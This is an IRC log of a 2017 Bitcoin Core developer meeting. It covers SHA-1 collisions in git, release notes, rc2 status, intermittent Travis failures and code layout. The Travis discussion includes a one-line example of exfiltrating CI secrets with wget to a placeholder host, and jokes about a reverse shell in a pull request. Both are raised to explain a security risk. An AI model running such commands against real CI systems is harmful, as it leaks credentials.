19:00:31 #startmeeting 19:00:31 Meeting started Thu Feb 23 19:00:31 2017 UTC. The chair is wumpus. Information about MeetBot at http://wiki.debian.org/MeetBot. 19:00:31 Useful Commands: #action #agreed #help #info #idea #link #topic. 19:00:32 #meetingstart 19:01:08 #bitcoin-core-dev Meeting: wumpus sipa gmaxwell jonasschnelli morcos luke-jr btcdrak sdaftuar jtimon cfields petertodd kanzure bluematt instagibbs phantomcircuit codeshark michagogo marcofalke paveljanik NicolasDorier 19:01:13 hi 19:01:25 cfields: we could ask if dooglus is using a tablet/touch screen, or was using it at that time. 19:01:43 wumpus: oh, haha, i didn't notice it was the same reporter 19:01:53 hi. 19:02:14 present 19:02:15 hi 19:02:26 wumpus: did you reproduce 9814 with the same setup? Ubuntu and Qt 5.3? 19:02:28 oh, nm 19:02:46 so quick note re: git and SHA1 collisions: https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2017-February/013600.html 19:02:54 jonasschnelli: no, I did not reproduce it 19:02:58 petertodd: i wanted to bring that up 19:03:04 #topic git and sha collisions 19:03:29 so while many people will say git isn't vulnerable if you trust a git repo's maintainers, that is *not* true as a pull-req could add a colliding file 19:03:38 sounds like MD5 breakage 19:03:38 does git and github only support sha1? 19:03:42 achow101: yes 19:03:50 i only read about this new sha1 attack an hour ago... how hard is it to create a collision? 19:04:01 probably only relevant with binary files, but we don't know 100% yet because details of the attack haven't been published 19:04:03 achow101: IIRC, git is designed in such a way that changing SHA1 is very difficult 19:04:04 sipa: still very hard 19:04:20 i see 19:04:20 sipa: it's not a new attack its the one published from a coule years ago with about 2^64 complexity. There were some estimates of a cost on EC2 of about $110k. 19:04:26 110 GPU-years or so 19:04:31 It's just actually been executed now. 19:04:48 gmaxwell: no, it seems new research was done that simplifies it further 19:04:50 (at least thats my understanding) 19:04:53 gmaxwell: is it confirmed that google's efforts don't include any advances on what was already known to be possible? 19:04:55 oh. I missed that, okay! 19:05:26 is the git project taking any action now? 19:05:36 luke-jr: doesnt look like it 19:05:37 Google and CWI, the dutch center for mathetmatics and informatics 19:05:44 luke-jr: (at least no movement as of this morning) 19:05:52 I think they already said they wouldn't before? 19:06:09 i wonder how hard it is to create an overlay... that goes back in history, computes a sha256 for every tree and commit, and then include gpg signatures on those? 19:06:23 sipa: great idea 19:06:38 sipa: I have code for something very similar to that in OpenTimestamps actually, and people have written tools to do that as well other than opentimestamps 19:06:40 The exploit has a fancy name as usual http://shattered.io/ 19:06:44 http://marc.info/?l=git&m=115678778717621&w=2 "The only _dangerous_ kind of collision is the inadvertent kind, 19:06:47 but that's obviously also the very very unlikely kind." 19:06:52 sipa: I was looking this morning to see if you could reasonably patch git to do so directly, looks hard.....still, we can update our dev scripts to do a sha256sum of all committed files and sign that as well 19:07:47 BlueMatt: signing just the trees i guess is an easy first step 19:07:47 according to the site "How is GIT affected? 19:07:47 GIT strongly relies on SHA-1 for the identification and integrity checking of all file objects and commits. It is essentially possible to create two GIT repositories with the same head commit hash and different contents, say a benign source code and a backdoored one. An attacker could potentially selectively serve either repository to targeted users. This 19:07:47 will require attackers to compute their own collision." 19:07:47 but the tree is a sha1 hash too, isn't it? 19:07:47 gmaxwell: yup, great, linus and associated kernel folks continue to willfully ignore that security matters even the slightest bit 19:07:47 what does the signed commit stuff sign? if it signs the commit message, then we can include a sha256 in it and have the verify check that too. 19:07:47 wumpus: yes, it would have to be a separate thing 19:07:47 if you don't trust SHA1 anymore, that rabbit hole goes deep 19:07:47 * luke-jr votes banning binary files in any case :p 19:07:53 is it worth periodically running https://github.com/cr-marcstevens/sha1collisiondetection on commits in our repo? 19:07:54 wumpus: eg the merge scripts could include a hash of sha256sum * in the commit message 19:08:07 gmaxwell: the signed commit stuff signs a SHA1 hash, but it's easy to extend that with a gnupg wrapper; I could take the code from OpenTimestamps and do that 19:08:08 sdaftuar: I have a patch for git to use that as the hash function 19:08:16 and abort() if it detects a potentially-bad hash 19:08:22 BlueMatt: sounds like a great idea 19:08:39 off-topic, but i wonder what git could change to make upgrading backwards-compatible in the future. for now i think it must be an incompatible upgrade to switch to another hash function? 19:08:39 (including the sha256sum * in the merge commit message) 19:08:42 BlueMatt: if bad hashes are rare, that makes sense 19:08:47 gmaxwell: the one thing OpenTimestamps doesn't already do is recalculate hashes of *prior* commits with SHA256, but that'd be easy to add 19:09:12 i would also like the gh-meta repository maintainer to consider timestamping with opentimestamps at some point, i dunno who he is and i haven't pestered him yet 19:09:25 wumpus: the authors of that hash code claim 2**-90 19:09:32 er, the bitcoin-gh-meta repository person 19:09:32 (for random hits) 19:09:32 detecting it after the fact seems like it would still be irrepairable? 19:10:03 kanzure: iwilcox on IRC 19:10:10 kanzure: git could easily have git commits simultaneously generate and sign two different hash functions; quite feasible to implement. I'll bet you I could pull that off in a week or two of work. 19:10:12 oh good, he is easily pesterable. 19:10:46 petertodd: yea but needs to be backwards compatible; and the bloat from two commits does not sound ideal. are they considering that btw? 19:10:53 BlueMatt: if the chance of an inadvertent match is that low, in that case, abort() /reject is a great solution 19:11:25 kanzure: I'd guess you simply list the parent commit hashes twice? 19:11:27 kanzure: no bloat involved - the data can be shared across both commits 19:12:03 ah okay. well, i hadn't heard that proposal today, someone should check if git upstream is thinking about that. 19:12:09 probably said enough on this for now. 19:12:15 There's a conversation on the git mailing list https://public-inbox.org/git/xmqqk28g92h7.fsf@gitster.mtv.corp.google.com/T/#t 19:12:33 gmaxwell: ack 19:12:42 yes, agreed 19:12:58 next topic 19:13:06 #topic help cfields with adding performance-related release notes 19:13:08 https://github.com/bitcoin/bitcoin/pull/9787 19:13:13 quick call for 0.14 perf improvements on 9897 19:13:18 heh, thanks :) 19:13:52 err... #9787 19:13:54 https://github.com/bitcoin/bitcoin/issues/9787 | release: add a few performance-related notes by theuni · Pull Request #9787 · bitcoin/bitcoin · GitHub 19:13:57 kanzure: yeah I assume changing the hash function would be a hardfork for old repositories :p 19:14:16 if anyone added a big user-facing performance improvement for 0.14, please speak up 19:14:46 jtimon: please don't use bitcoin terms for other things especially non-consensus systems. The classic words "backwards incompatible" are fine. :P 19:15:03 gmaxwell: yep, sorry, was a bad joke 19:15:29 jtimon: dependso n how close the new hash function is to SHA-1. If it gets the same output 1-2**90 of the time, most repositories won't be affected 19:15:30 cfields: no measurements in the notes? 19:16:37 gmaxwell: see the pr description. I've taken some measurements on the net stuff, but they're highly localized. 19:17:20 wish I realized no one was going to benchmark I could have started one last night. :P 19:17:40 I would also note that the cuckoocache means nodes wanting to use more cores but had performance degrade should try more cores again 19:18:13 right, cuckoocache has no effect at low parallellism, i think? 19:18:50 sipa: no it's smarter about keepign the right signatures in the cache due to the generations and lazy eviction 19:18:54 gmaxwell: i've done lots of benchmarking. But as I said, I'm not sure how to translate that into helpful figures 19:19:21 sipa: e.g. it will make reorgs much faster! 19:19:35 well the alternative is to use a reference system/environment for each improvement 19:19:46 cfields: users don't care about each improvement. 19:20:15 it also doesn't need to be super precise 19:20:25 cfields: "Sync with least release takes N hours now, sync with new release takes Y now." would be nice. 19:20:53 or syncs are rougle XYZ% faster... 19:21:13 use the ~ and nobody will blame you afterwards. :) 19:21:30 use two ~~ to be extra aproximate 19:21:43 it's marketing not science :p hehe 19:21:48 but ~~ will just give you the same number you put in! 19:22:44 The is-approximately operator is non-involutive ;) 19:22:51 Well people just have no general idea of the impact. Marketing would be saying that it's 2x faster rathern the 3x faster because 2x is more plausable. :P 19:22:51 anyways 19:23:21 ok, i'll add a vague 0.13 vs 0.14 sync time. The 0.13 will take time though, I haven't had the patience to finish one yet 19:23:28 Could be cool to spin up a few different EC2 instances to compare... 19:23:39 EC is not a good comparison environment 19:23:45 sloooow i/o 19:23:56 i'm syncing on a RPi3 19:24:02 sloooow 19:24:09 what storage? 19:24:13 lol 19:24:27 microsd card 19:24:27 uh 19:24:27 i used EC for my sync benching because i figured it represented a very typical use-case 19:24:33 that's the cause of the slowness, likely 19:24:34 Actually I like that. We should publish the worst system that can sync :p 19:24:47 wumpus: absolutely 19:24:50 * luke-jr ponders trying on his USB Armory again 19:25:01 other topics? 19:25:07 sipa: if it's really CPU bound, don't forget to use the experimental ARM assembly secp256k1 :) 19:25:23 sipa: right, as I expected 19:25:31 For reference, 0.14 sync took roughly 3 hours on ec2 w/ 4 cpu cores 19:25:42 wumpus: i enabled it, but it's not nearly CPU bound 19:25:51 topic: rc2 status? 19:26:10 #topic rc2 status 19:26:24 I think it should be ready to tag 19:26:57 well, need to update the translations and release notes to include changes since rc1, but I don't think there's anything that still needs to be solved 19:27:04 there are still open prs in the milestone though 19:27:22 (well 1 that actually does something) 19:27:30 achow101: one is release notes - that can go in any time before final 19:27:58 #9829 would be nice to get in, but it's breaking travis 19:28:00 https://github.com/bitcoin/bitcoin/issues/9829 | Fix importmulti returning rescan errors for wrong keys by ryanofsky · Pull Request #9829 · bitcoin/bitcoin · GitHub 19:28:49 ryanofsky: ping 19:29:20 should i do something? bump travis? 19:29:23 (I've already tried to retrigger it so it's not one of today's intermittent problems) 19:29:56 ryanofsky: I don't think that helps 19:30:16 Does it pass locally? 19:30:39 yeah, the errors are the same "__pthread_mutex_lock: Assertion `mutex->__data.__owner == 0' failed" things i've seen on other prs 19:31:07 ryanofsky: oh, https://github.com/bitcoin/bitcoin/issues/9825 19:31:17 i had to bump one of my prs last week 5-6 times to make travis pass 19:31:22 ryanofsky: okay, will respin 19:32:34 [13bitcoin] 15laanwj pushed 1 new commit to 060.14: 02https://github.com/bitcoin/bitcoin/commit/847e3753a6d6a6ab4dd081e2945cb200faf730d4 19:32:34 13bitcoin/060.14 14847e375 15Wladimir J. van der Laan: qt: pre-rc2 translations update 19:33:00 Can we figure out when these travis errors started? Do we get them on personal travis instances? Can we bisect? Seems likely somethign changed on our end right? 19:33:12 #topic travis issues 19:33:16 do we have any idea whats causing that? I assume no one has hit it locally? I left test bitcoin running in a loop when I first saw it on the off chance it was an ASLR mediated thing that was only hitting travis sometimes. 19:33:32 (no results, of course) 19:33:37 We recently added a missing ecc_start to bitcoin-tx... but I can't see any relation 19:33:50 jonasschnelli: I don't even see why you mention that? 19:33:51 I tried to reproduce #9825 for hours on a trusty vm, with five threads for a few hours... but no dice 19:33:52 https://github.com/bitcoin/bitcoin/issues/9825 | Intermittent FAIL: test/test_bitcoin in Travis · Issue #9825 · bitcoin/bitcoin · GitHub 19:34:01 to bitcoin-tx? yea, that won't make a difference 19:34:26 gmaxwell: becuase of that "test_bitcoin: key.cpp:300: void ECC_Start(): Assertion `secp256k1_context_sign == __null' failed."? 19:34:31 It looks like test_bitcoin fails before it even really starts. So global constructors or somehting in the C libraries. 19:34:43 jonasschnelli: that's only a effect of the failure 19:34:44 I noticed that one of the builds seems to have some additional bounds checks enabled -- might be nice to enable those across travis tests? Hopefully no code relies on bounds checks/not 19:34:49 jonasschnelli: *everything* after the initial failure fails 19:34:55 jonasschnelli: secp256k1 is innocent 19:35:00 ah.. I see. 19:35:23 perhaps we're forgetting some EEC_stop() somewhere? 19:35:32 no. geesh 19:35:47 no, I'm fairly sure it doesn't have to do with secp256k1 19:35:57 it's something done with mutexes before mutexes are initialized 19:36:20 ok, I really have no idea what's happening 19:36:24 looks like some kind of race condition, but I have no idea where or what 19:36:47 if it happens it *always* happens in test_bitcoin, never in bitcoind, bitcoin-cli, bitcoin-tx 19:37:05 I wonder if we could make our travis build script rerun any failing case under gdb so it would print a backtrace? 19:37:27 gmaxwell: probably using coredumps? 19:37:40 if you rerun it it will probably pass 19:37:42 perhaps some of the globals initialized in test_bitcoin.cpp ? 19:37:43 or that. 19:37:48 in theory boost test runner can start gdb 19:37:53 just thinking out loud again... 19:37:54 Could it be related to the boost test framework? 19:37:55 eg if it crashes coredump and gdb print all backtraces 19:38:10 but yes, getting a core file would be useful 19:38:14 boost test runner can start gdb. I wonder if it reads .gdbinit 19:38:15 BlueMatt: thats probably the right way to go there. 19:38:25 although you need the executable too, to debug it 19:38:28 jeremyrubin: yes, but if it crashes its probably not in a good state to do so. :P 19:38:32 and uploading from travis :( 19:38:40 wumpus: i mean we can at least print stack traces 19:38:47 wumpus: just detect the crash in the script and run gdb. 19:38:53 and print the backtraces. 19:39:05 ok, yes, backtrace would help 19:40:02 do we know when the first of these errors was? 19:40:07 jtimon: yes, it sounds ilke a global initialisation order fiasco 19:40:28 could be nice to detect the failing case, and then re-run it under say, valgrind 19:40:47 no, I don't know. I started getting annoyed by them today, but it's been going on yesterday at least as well 19:41:39 bisecting this with travis would take *a lot* of patience 19:41:53 that kind of suggests that it's a change on travis' end, no? we haven't had any changes on 0.14 in the past two days that could have caused this? 19:42:06 I don't think so either. 19:42:16 the big locking changes are longer ago 19:42:27 and it didn't start after that 19:42:50 topic suggest -- code reorganizing (renaming rpc tests, etc) 19:43:05 does something in the travis log report what hardware it ran on? 19:43:06 still, the question is whether it is a change at travis's end that exposes something in our code 19:43:15 e.g. so we could correlate failures with a specific host? 19:43:22 or something that is completely broken on their end 19:43:30 gmaxwell: I'm afraid not. Wasn't able to find it 19:43:49 I don't think they give access to that information 19:43:59 wumpus: why is uploading from travis :( ? is it something you've tried before? 19:44:14 jnewbery: it's a pit of snakes, security-wise 19:44:21 this is older than 2 days, i first noticed these last friday on 9773: https://github.com/bitcoin/bitcoin/pull/9773#issuecomment-280684263 19:44:40 jnewbery: we could temporary have it submit files somewhere to debug an issue, I guess 19:45:24 It can be configured it to upload artifacts to S3: https://docs.travis-ci.com/user/uploading-artifacts/ 19:45:30 jeremyrubin: the issue there is just in terms of provisioning travis with secrets. 19:45:37 no private environment variables? 19:45:40 er darnit, too many js in here. 19:45:54 private environment variables don't work for pull requests, the test script could be replaced with anything 19:45:57 gmaxwell: i was wat-ing :) 19:46:06 kanzure: PR's can steal them. 19:46:07 Can you get a shell to travis 19:46:20 including echo $SECRET_CODE or wget https://host/secretcode?$SECRETCODE 19:46:22 cool. hm. 19:46:30 (probably against TOS) 19:46:51 I think you can specify secrets that are valid on branches only, but I might be wrong 19:46:56 jeremyrubin: A assume just open a PR that connects back to you. :P 19:47:08 lol a reverse shell in a PR 19:47:13 I assume you can, but, yea ToS (not to mention monopolizing their service....) 19:47:32 wait, you're all not mining bitcoins there already? 19:47:41 I heard someone did that recently right? 19:48:10 in any case, we've wasted most of a perfectly good hour on this. :P 19:48:18 I like the idea of uploading the executable and core files more. They could be pushed to a private server, no need to openly host them, that meanst here's less reason for people up to no good to inject anything 19:48:56 the biggest security worry was with hosting the built binaries 19:49:07 topic code reorganizing? 19:49:13 bleh 19:49:15 okay :p 19:49:23 #topic code reorganizing 19:49:25 suggested (marginally related) topic: code coverage and benchmark tracking 19:49:27 we should ask travis for a feature that sets an enviroment variable to H(project secret || commit hash) ... and then we could have something whitelist uploads from specific PRs (e.g. by known people) 19:49:36 it's 10 mins, so no time for a big topic I think 19:50:04 I have a POC branch which moves most of the pure data structures to a datastructures dir. 19:50:06 Rename rpctests to tests rename test_bitcoin to useless_thing_that_crashes_in_travis. Done. 19:50:36 gmaxwell: yep 19:50:39 jeremyrubin: you mean including things like CTransaction and CBlockHeader? 19:50:41 jeremyrubin: that doesn't sound like the right direction 19:50:43 no 19:50:49 non-bitcoin specific ones 19:50:51 jeremyrubin: really? datastructures? shall we have a file called functions.cpp and a file called variables.cpp too? :P 19:50:57 E.g., prevector 19:50:58 XD 19:51:07 jeremyrubin: oh, okay, that sounds less bad 19:51:08 oh you mean things like effective language extensions. 19:51:12 I would prefer to move prevector to the consensus dir 19:51:28 yea, prevector is consensus critical 19:51:32 suggests that the name still isn't good in that luke and I misunderstood it immediately. :P 19:51:41 so is secp256k1 ;) 19:51:50 so is libc 19:51:52 like in https://github.com/bitcoin/bitcoin/pull/8328 19:51:58 yes, we're not renaming secp256k1 are we 19:52:00 move prevector to boost 19:52:01 * luke-jr hides 19:52:02 Okay, so step one we move libc under consensus/ ... 19:52:32 Anyways, I think it would be nice to move things like that, which could later be made upstream repos 19:52:38 I don't think this is going anywhere, everyone has a different opinoin on what file to put where 19:52:47 lpad.js. 19:53:11 Does prevector have any usage outside consensus? 19:53:19 I think the reason I'd want that is it makes it easier to have more exhaustive testing and also allows other users to more easily use such datastructures 19:53:29 luke-jr: it probably should :) 19:53:40 do we have any unique data structures that anyone else inthe world would want to use? 19:53:41 jeremyrubin: yeah I would like libconsensus to be an "upstream repo" like libsecp256k1, but we would need to complete it first 19:53:55 jeremyrubin: I don't think any of us care to maintain things like prevector for other usage. Making a good library takes a tremendous amount of work. 19:54:00 I don't think a bitcoin-datastructures library makes sense 19:54:01 right 19:54:17 if we offer a library it should be something useful to bitcoin users 19:54:39 Obviously if the author of something like that wants to create a library for other usage, thats fine! but not a project priority. 19:54:40 like a wallet library, or extend libconsensus, ... 19:55:15 sure, you can do whatever you want with the files in the repository, if you need it in your project you can make a library out of it for your own use, or just copy the file, etc 19:55:18 from a code org perspective I don't see a problem with moving things like prevector, limitedmap into a utility function directory.. With just the understanding that many of those are used in consensus code too. 19:55:32 not everything needs to be maintained as a library 19:55:32 but since each dev seems to have a different idea of what a "complete libconsensus" should look like... 19:56:04 gmaxwell: me neither 19:56:07 Compartmentalizing bitcoin into separate modules seemed like a plan but maybe not shared by everyone. If it is a shared plan restructuring file places seems important. 19:56:08 I don't mind it, but IMO more important to work toward more useful library splitting 19:56:14 gmaxwell: agree, some things are generic enough that they can be seen as extensions of the standard libraries 19:56:42 sipa: e.g. someday libstdc++ could get something that generalizes prevector, if it did, we'd drop prevector and use that. 19:56:59 c++23 19:57:03 heh 19:57:04 (well STL technically, I guess, point remains) 19:57:32 sipa: C++23 will just integrate libconsensus of course. template cryprocurrency. 19:57:39 hehe 19:57:42 Well that's my point kinda 19:57:52 suggested topic: code coverage and benchmark tracking 19:57:59 the consensus things that aren't overly bitcoin-specific 19:57:59 Except I was making it as a joke. :P 19:58:01 jnewbery: next week 19:58:11 Facebook's folly lib is kinda like that 19:58:13 the meeting is about to close 19:58:22 anyone have any last words? 19:58:27 jnewbery: we can talk about about it after the meeting and discuss further next week. :) 19:58:44 gmaxwell: sounds good 19:58:51 #endmeeting